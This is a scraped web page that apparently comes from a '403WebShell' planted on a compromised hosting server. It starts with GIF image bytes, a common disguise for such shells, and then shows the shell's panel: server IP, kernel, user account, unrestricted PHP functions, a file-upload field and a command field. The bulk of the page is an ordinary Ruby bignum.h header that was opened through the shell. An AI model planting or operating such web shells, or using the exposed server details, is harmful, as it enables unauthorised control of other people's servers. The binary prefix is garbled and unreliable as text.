GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/ruby32/include/ruby/internal/intern/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/ruby32/include/ruby/internal/intern/bignum.h
#ifndef RBIMPL_INTERN_BIGNUM_H                       /*-*-C++-*-vi:se ft=cpp:*/
#define RBIMPL_INTERN_BIGNUM_H
/**
 * @file
 * @author     Ruby developers <[email protected]>
 * @copyright  This  file  is   a  part  of  the   programming  language  Ruby.
 *             Permission  is hereby  granted,  to  either redistribute  and/or
 *             modify this file, provided that  the conditions mentioned in the
 *             file COPYING are met.  Consult the file for details.
 * @warning    Symbols   prefixed  with   either  `RBIMPL`   or  `rbimpl`   are
 *             implementation details.   Don't take  them as canon.  They could
 *             rapidly appear then vanish.  The name (path) of this header file
 *             is also an  implementation detail.  Do not expect  it to persist
 *             at the place it is now.  Developers are free to move it anywhere
 *             anytime at will.
 * @note       To  ruby-core:  remember  that   this  header  can  be  possibly
 *             recursively included  from extension  libraries written  in C++.
 *             Do not  expect for  instance `__VA_ARGS__` is  always available.
 *             We assume C99  for ruby itself but we don't  assume languages of
 *             extension libraries.  They could be written in C++98.
 * @brief      Public APIs related to so-called rb_cBignum.
 */
#include "ruby/internal/config.h"

#ifdef STDC_HEADERS
# include <stddef.h>
#endif

#include "ruby/internal/attr/nonnull.h"
#include "ruby/internal/dllexport.h"
#include "ruby/internal/value.h"
#include "ruby/backward/2/long_long.h"

RBIMPL_SYMBOL_EXPORT_BEGIN()

/* bignum.c */

/**
 * Allocates a bignum object.
 *
 * @param[in]  len   Length of the bignum's backend storage, in words.
 * @param[in]  sign  Sign of the bignum.
 * @return     An allocated new bignum instance.
 * @note       This only allocates an object, doesn't fill its value in.
 *
 * @internal
 *
 * @shyouhei  finds it  hard to  use from  extension libraries.   `len` is  per
 * `BDIGIT` but its definition is hidden.
 */
VALUE rb_big_new(size_t len, int sign);

/**
 * Queries if  the passed bignum  instance is a  "bigzro".  What is  a bigzero?
 * Well, bignums  are for very big  integers, but can also  represent tiny ones
 * like -1,  0, 1.   Bigzero are  instances of bignums  whose values  are zero.
 * Knowing if a bignum is bigzero can  be handy on occasions, like for instance
 * detecting division by zero situation.
 *
 * @param[in]  x  A bignum.
 * @retval     1  It is a bigzero.
 * @retval     0  Otherwise.
 */
int rb_bigzero_p(VALUE x);

/**
 * Duplicates the given bignum.
 *
 * @param[in]  num  A bignum.
 * @return     An allocated bignum, who is equivalent to `num`.
 */
VALUE rb_big_clone(VALUE num);

/**
 * Destructively modify the passed bignum into 2's complement representation.
 *
 * @note  By default bignums are in signed magnitude system.
 *
 * @param[out]  num  A bignum to modify.
 */
void rb_big_2comp(VALUE num);

/**
 * Normalises the passed bignum.  It for  instance returns a fixnum of the same
 * value if fixnum can represent that number.
 *
 * @param[out]  x  Target bignum (can be destructively modified).
 * @return      An integer of the identical value (can be `x` itself).
 */
VALUE rb_big_norm(VALUE x);

/**
 * Destructively resizes the backend storage of the passed bignum.
 *
 * @param[out]  big  A bignum.
 * @param[in]   len  New length of `big`'s backend, in words.
 */
void rb_big_resize(VALUE big, size_t len);

RBIMPL_ATTR_NONNULL(())
/**
 * Parses C's string to convert into a Ruby's integer.  It understands prefixes
 * (e.g. `0x`) and underscores.
 *
 * @param[in]  str           Stringised representation of the return value.
 * @param[in]  base          Base of conversion.   Must be `-36..36` inclusive,
 *                           except `1`.  `2..36` means  the conversion is done
 *                           according to it,  with unmatched prefix understood
 *                           as  a part  of  the result.   `-36..-2` means  the
 *                           conversion  honours prefix  when  present, or  use
 *                           `-base` when  absent. `0` is equivalent  to `-10`.
 *                           `-1` mandates a prefix. `1` is an error.
 * @param[in]  badcheck      Whether  to raise  ::rb_eArgError on  failure.  If
 *                           `0`  is  passed  here  this  function  can  return
 *                           `INT2FIX(0)` for parse errors.
 * @exception  rb_eArgError  Failed to parse (and `badcheck` is truthy).
 * @return     An instance of ::rb_cInteger,  which is a numeric interpretation
 *             of what is written in `str`.
 *
 * @internal
 *
 * Not sure if it intentionally accepts `base  == -1` or is just buggy.  Nobody
 * practically uses negative bases these days.
 */
VALUE rb_cstr_to_inum(const char *str, int base, int badcheck);

/**
 * Identical to rb_cstr2inum(), except it takes Ruby's strings instead of C's.
 *
 * @param[in]  str                 Stringised  representation   of  the  return
 *                                 value.
 * @param[in]  base                Base  of  conversion.    Must  be  `-36..36`
 *                                 inclusive,  except `1`.   `2..36` means  the
 *                                 conversion  is done  according  to it,  with
 *                                 unmatched prefix understood as a part of the
 *                                 result.   `-36..-2`   means  the  conversion
 *                                 honours prefix when  present, or use `-base`
 *                                 when  absent. `0`  is  equivalent to  `-10`.
 *                                 `-1` mandates a prefix. `1` is an error.
 * @param[in]  badcheck            Whether to raise  ::rb_eArgError on failure.
 *                                 If  `0` is  passed  here  this function  can
 *                                 return `INT2FIX(0)` for parse errors.
 * @exception  rb_eArgError        Failed to parse (and `badcheck` is truthy).
 * @exception  rb_eTypeError       `str` is not a string.
 * @exception  rb_eEncCompatError  `str` is not ASCII compatible.
 * @return     An instance of ::rb_cInteger,  which is a numeric interpretation
 *             of what is written in `str`.
 */
VALUE rb_str_to_inum(VALUE str, int base, int badcheck);

RBIMPL_ATTR_NONNULL(())
/**
 * Identical to rb_cstr_to_inum(), except the second argument controls the base
 * and badcheck at  once.  It basically doesn't raise for  parse errors, unless
 * the base is zero.
 *
 * This is an older API.  New codes might prefer rb_cstr_to_inum().
 *
 * @param[in]  str           Stringised representation of the return value.
 * @param[in]  base          Base of conversion.   Must be `-36..36` inclusive,
 *                           except `1`.  `2..36` means  the conversion is done
 *                           according to it,  with unmatched prefix understood
 *                           as  a part  of  the result.   `-36..-2` means  the
 *                           conversion  honours prefix  when  present, or  use
 *                           `-base` when  absent. `0` is equivalent  to `-10`.
 *                           `-1` mandates a prefix. `1` is an error.
 * @exception  rb_eArgError  Failed to parse (and `base` is zero).
 * @return     An instance of ::rb_cInteger,  which is a numeric interpretation
 *             of what is written in `str`.
 */
VALUE rb_cstr2inum(const char *str, int base);

/**
 * Identical to rb_str_to_inum(), except the  second argument controls the base
 * and  badcheck at  once.  It  can  also be  seen  as a  routine identical  to
 * rb_cstr2inum(), except it takes Ruby's strings instead of C's.
 *
 * This is an older API.  New codes might prefer rb_cstr_to_inum().
 *
 * @param[in]  str                 Stringised  representation   of  the  return
 *                                 value.
 * @param[in]  base                Base  of  conversion.    Must  be  `-36..36`
 *                                 inclusive,  except `1`.   `2..36` means  the
 *                                 conversion  is done  according  to it,  with
 *                                 unmatched prefix understood as a part of the
 *                                 result.   `-36..-2`   means  the  conversion
 *                                 honours prefix when  present, or use `-base`
 *                                 when  absent. `0`  is  equivalent to  `-10`.
 *                                 `-1` mandates a prefix. `1` is an error.
 * @exception  rb_eArgError        Failed to parse (and `base` is zero).
 * @exception  rb_eTypeError       `str` is not a string.
 * @exception  rb_eEncCompatError  `str` is not ASCII compatible.
 * @return     An instance of ::rb_cInteger,  which is a numeric interpretation
 *             of what is written in `str`.
 */
VALUE rb_str2inum(VALUE str, int base);

/**
 * Generates a place-value representation of the passed integer.
 *
 * @param[in]  x               An integer to stringify.
 * @param[in]  base            `2` to `36` inclusive for each radix.
 * @exception  rb_eArgError    `base` is out of range.
 * @exception  rb_eRangeError  `x` is too big, cannot represent in string.
 * @return     An instance of ::rb_cString which represents `x`.
 */
VALUE rb_big2str(VALUE x, int base);

/**
 * Converts a bignum into C's `long`.
 *
 * @param[in]  x               A bignum.
 * @exception  rb_eRangeError  `x` is out of range of `long`.
 * @return     The passed value converted into C's `long`.
 */
long rb_big2long(VALUE x);

/** @alias{rb_big2long} */
#define rb_big2int(x) rb_big2long(x)

/**
 * Converts a bignum into C's `unsigned long`.
 *
 * @param[in]  x               A bignum.
 * @exception  rb_eRangeError  `x` is out of range of `unsigned long`.
 * @return     The passed value converted into C's `unsigned long`.
 *
 * @internal
 *
 * This function  can generate  a very  large positive  integer for  a negative
 * input.   For instance  applying  Ruby's  -4,611,686,018,427,387,905 to  this
 * function yields C's  13,835,058,055,282,163,711 on my machine.   This is how
 * it has been.  Cannot change any longer.
 */
unsigned long rb_big2ulong(VALUE x);

/** @alias{rb_big2long} */
#define rb_big2uint(x) rb_big2ulong(x)

#if HAVE_LONG_LONG
/**
 * Converts a bignum into C's `long long`.
 *
 * @param[in]  x               A bignum.
 * @exception  rb_eRangeError  `x` is out of range of `long long`.
 * @return     The passed value converted into C's `long long`.
 */
LONG_LONG rb_big2ll(VALUE);

/**
 * Converts a bignum into C's `unsigned long long`.
 *
 * @param[in]  x               A bignum.
 * @exception  rb_eRangeError  `x` is out of range of `unsigned long long`.
 * @return     The passed value converted into C's `unsigned long long`.
 *
 * @internal
 *
 * This function  can generate  a very  large positive  integer for  a negative
 * input.   For instance  applying  Ruby's  -4,611,686,018,427,387,905 to  this
 * function yields C's  13,835,058,055,282,163,711 on my machine.   This is how
 * it has been.  Cannot change any longer.
 */
unsigned LONG_LONG rb_big2ull(VALUE);

#endif  /* HAVE_LONG_LONG */

RBIMPL_ATTR_NONNULL(())
/**
 * Converts a bignum into a series of its parts.
 *
 * @param[in]   val            An integer.
 * @param[out]  buf            Return buffer.
 * @param[in]   num_longs      Number of words of `buf`.
 * @exception   rb_eTypeError  `val` doesn't respond to `#to_int`.
 * @post        `buf` is filled with  `val`'s 2's complement representation, in
 *              the host CPU's  native byte order, from  least significant word
 *              towards the most significant one, for `num_longs` words.
 * @note        The "pack" terminology comes from `Array#pack`.
 */
void rb_big_pack(VALUE val, unsigned long *buf, long num_longs);

RBIMPL_ATTR_NONNULL(())
/**
 * Constructs a (possibly very big) bignum from a series of integers.  `buf[0]`
 * would be the return value's least significant word; `buf[num_longs-1]` would
 * be that of most significant.
 *
 * @param[in]  buf           A series of integers.
 * @param[in]  num_longs     Number of words of `buf`.
 * @exception  rb_eArgError  Result would be too big.
 * @return     An instance  of ::rb_cInteger which  is an "unpack"-ed  value of
 *             the parameters.
 * @note       The "unpack" terminology comes from `String#pack`.
 */
VALUE rb_big_unpack(unsigned long *buf, long num_longs);

/* pack.c */

RBIMPL_ATTR_NONNULL(())
/**
 * Encodes a Unicode codepoint into its UTF-8 representation.
 *
 * @param[out]  buf             Return buffer, must at least be 6 bytes width.
 * @param[in]   uv              An Unicode codepoint.
 * @exception   rb_eRangeError  `uv` is out of Unicode.
 * @return      Number of bytes written to `buf`
 * @post        `buf` holds a UTF-8 representation of `uv`.
 */
int rb_uv_to_utf8(char buf[6], unsigned long uv);

/* bignum.c */

/**
 * Converts a C's `double` into a bignum.
 *
 * @param[in]  d                     A value to convert.
 * @exception  rb_eFloatDomainError  `d` is Inf/NaN.
 * @return     An instance of ::rb_cInteger whose value is approximately `d`.
 *
 * @internal
 *
 * @shyouhei is not sure if the result  is guaranteed to be the nearest integer
 * of `d`.
 */
VALUE rb_dbl2big(double d);

/**
 * Converts a bignum into C's `double`.
 *
 * @param[in]  x  A bignum.
 * @return     The passed value converted into C's `double`.
 *
 * @internal
 *
 * @shyouhei is not sure if the result  is guaranteed to be `x`'s nearest value
 * that a `double` can represent.
 */
double rb_big2dbl(VALUE x);

/**
 * Compares the passed two bignums.
 *
 * @param[in]  lhs  Comparison LHS.
 * @param[in]  rhs  Comparison RHS.
 * @retval     -1   `rhs` is bigger than `lhs`.
 * @retval     0    They are identical.
 * @retval     1    `lhs` is bigger than `rhs`.
 * @see        rb_num_coerce_cmp()
 */
VALUE rb_big_cmp(VALUE lhs, VALUE rhs);

/**
 * Equality, in terms of `==`.  This checks if the _value_ is the same, not the
 * identity.  For instance `1 == 1.0` must hold.
 *
 * @param[in]  lhs          Comparison LHS.
 * @param[in]  rhs          Comparison RHS.
 * @retval     RUBY_Qtrue   They are the same.
 * @retval     RUBY_Qfalse  They are different.
 */
VALUE rb_big_eq(VALUE lhs, VALUE rhs);

/**
 * Equality,  in terms  of  `eql?`.   Unlike rb_big_eq()  it  does not  convert
 * ::rb_cFloat etc.   This function  returns ::RUBY_Qtrue if  and only  if both
 * parameters are bignums, which represent the identical numerical value.
 *
 * @param[in]  lhs          Comparison LHS.
 * @param[in]  rhs          Comparison RHS.
 * @retval     RUBY_Qtrue   They are identical.
 * @retval     RUBY_Qfalse  They are distinct.
 */
VALUE rb_big_eql(VALUE lhs, VALUE rhs);

/**
 * Performs addition of the passed two objects.
 *
 * @param[in]  x  A bignum.
 * @param[in]  y  Arbitrary ruby object.
 * @return     What `x + y` evaluates to.
 * @see        rb_num_coerce_bin()
 */
VALUE rb_big_plus(VALUE x, VALUE y);

/**
 * Performs subtraction of the passed two objects.
 *
 * @param[in]  x  A bignum.
 * @param[in]  y  Arbitrary ruby object.
 * @return     What `x - y` evaluates to.
 * @see        rb_num_coerce_bin()
 */
VALUE rb_big_minus(VALUE x, VALUE y);

/**
 * Performs multiplication of the passed two objects.
 *
 * @param[in]  x  A bignum.
 * @param[in]  y  Arbitrary ruby object.
 * @return     What `x * y` evaluates to.
 * @see        rb_num_coerce_bin()
 */
VALUE rb_big_mul(VALUE x, VALUE y);

/**
 * Performs division of the passed two objects.
 *
 * @param[in]  x  A bignum.
 * @param[in]  y  Arbitrary ruby object.
 * @return     What `x / y` evaluates to.
 * @see        rb_num_coerce_bin()
 */
VALUE rb_big_div(VALUE x, VALUE y);

/**
 * Performs "integer division".  This is different from rb_big_div().
 *
 * @param[in]  x  A bignum.
 * @param[in]  y  Arbitrary ruby object.
 * @return     What `x.div y` evaluates to.
 * @see        rb_num_coerce_bin()
 */
VALUE rb_big_idiv(VALUE x, VALUE y);

/**
 * Performs modulo of the passed two objects.
 *
 * @param[in]  x  A bignum.
 * @param[in]  y  Arbitrary ruby object.
 * @return     What `x % y` evaluates to.
 * @see        rb_num_coerce_bin()
 *
 * @internal
 *
 * There also is `rb_big_remainder()` internally,  which is different from this
 * one.
 */
VALUE rb_big_modulo(VALUE x, VALUE y);

/**
 * Performs "divmod" operation.   The operation in bignum's context  is that it
 * calculates rb_big_idiv() and rb_big_modulo() at once.
 *
 * @param[in]  x  A bignum.
 * @param[in]  y  Arbitrary ruby object.
 * @return     What `x.divmod y` evaluates to.
 * @see        rb_num_coerce_bin()
 */
VALUE rb_big_divmod(VALUE x, VALUE y);

/**
 * Raises `x` to the powerof `y`.
 *
 * @param[in]  x  A bignum.
 * @param[in]  y  Arbitrary ruby object.
 * @return     What `x ** y` evaluates to.
 * @see        rb_num_coerce_bin()
 * @note       This can return  an instance of ::rb_cFloat, even  when both `x`
 *             and `y` are bignums.  Or an instance of ::rb_cRational, when for
 *             instance `y` is negative.
 */
VALUE rb_big_pow(VALUE x, VALUE y);

/**
 * Performs bitwise and of the passed two objects.
 *
 * @param[in]  x  A bignum.
 * @param[in]  y  Arbitrary ruby object.
 * @return     What `x & y` evaluates to.
 * @see        rb_num_coerce_bit()
 */
VALUE rb_big_and(VALUE x, VALUE y);

/**
 * Performs bitwise or of the passed two objects.
 *
 * @param[in]  x  A bignum.
 * @param[in]  y  Arbitrary ruby object.
 * @return     What `x | y` evaluates to.
 * @see        rb_num_coerce_bit()
 */
VALUE rb_big_or(VALUE x, VALUE y);

/**
 * Performs exclusive or of the passed two objects.
 *
 * @param[in]  x  A bignum.
 * @param[in]  y  Arbitrary ruby object.
 * @return     What `x ^ y` evaluates to.
 * @see        rb_num_coerce_bit()
 */
VALUE rb_big_xor(VALUE x, VALUE y);

/**
 * Performs shift left.
 *
 * @param[in]  x              A bignum.
 * @param[in]  y              Shift amount.
 * @exception  rb_eTypeError  `y` is not an integer.
 * @exception  rb_eArgError   `y` is too big.
 * @return     `x` shifted left to `y` bits.
 * @note       `y` can be negative.  Shifts right then.
 */
VALUE rb_big_lshift(VALUE x, VALUE y);

/**
 * Performs shift right.
 *
 * @param[in]  x              A bignum.
 * @param[in]  y              Shift amount.
 * @exception  rb_eTypeError  `y` is not an integer.
 * @return     `x` shifted right to `y` bits.
 * @note       This is arithmetic.  Because bignums  are not bitfields there is
 *             no shift right logical operator.
 */
VALUE rb_big_rshift(VALUE x, VALUE y);

/**
 * @name Flags for rb_integer_pack()/rb_integer_unpack()
 * @{
 */

/** Stores/interprets the most significant word as the first word. */
#define INTEGER_PACK_MSWORD_FIRST       0x01

/** Stores/interprets the least significant word as the first word. */
#define INTEGER_PACK_LSWORD_FIRST       0x02

/**
 * Stores/interprets the most  significant byte in a word as  the first byte in
 * the word.
 */
#define INTEGER_PACK_MSBYTE_FIRST       0x10

/**
 * Stores/interprets the least significant byte in  a word as the first byte in
 * the word.
 */
#define INTEGER_PACK_LSBYTE_FIRST       0x20

/**
 * Means   either  #INTEGER_PACK_MSBYTE_FIRST   or  #INTEGER_PACK_LSBYTE_FIRST,
 * depending on the host processor's endian.
 */
#define INTEGER_PACK_NATIVE_BYTE_ORDER  0x40

/** Uses 2's complement representation. */
#define INTEGER_PACK_2COMP              0x80

/** Uses "generic" implementation (handy on test). */
#define INTEGER_PACK_FORCE_GENERIC_IMPLEMENTATION     0x400

/**
 * Always generates  a bignum object even  if the integer can  be representable
 * using fixnum scheme (unpack only)
 */
#define INTEGER_PACK_FORCE_BIGNUM       0x100

/**
 * Interprets the  input as  a signed  negative number  (unpack only).   If not
 * specified returns a positive number.
 */
#define INTEGER_PACK_NEGATIVE           0x200

/** Little endian combination. */
#define INTEGER_PACK_LITTLE_ENDIAN \
    (INTEGER_PACK_LSWORD_FIRST | \
     INTEGER_PACK_LSBYTE_FIRST)

/** Big endian combination */
#define INTEGER_PACK_BIG_ENDIAN \
    (INTEGER_PACK_MSWORD_FIRST | \
     INTEGER_PACK_MSBYTE_FIRST)

/** @} */

RBIMPL_ATTR_NONNULL(())
/**
 * Exports an integer into a buffer.   This function fills the buffer specified
 * by `words`  and `numwords` as `val`  in the format specified  by `wordsize`,
 * `nails` and `flags`.
 *
 * @param[in]   val            Integer   or  integer-like   object  which   has
 *                             `#to_int` method.
 * @param[out]  words          Return buffer.
 * @param[in]   numwords       Number of words of `words`.
 * @param[in]   wordsize       Number of bytes per word.
 * @param[in]   nails          Number  of   padding  bits  in  a   word.   Most
 *                             significant nails  bits of each word  are filled
 *                             by zero.
 * @param[in]   flags          Bitwise  or  of   constants  whose  name  starts
 *                             "INTEGER_PACK_".
 * @exception   rb_eTypeError  `val` doesn't respond to `#to_int`.
 *
 * Possible flags are:
 *
 *   - #INTEGER_PACK_MSWORD_FIRST:
 *       Stores the most significant word as the first word.
 *
 *   - #INTEGER_PACK_LSWORD_FIRST:
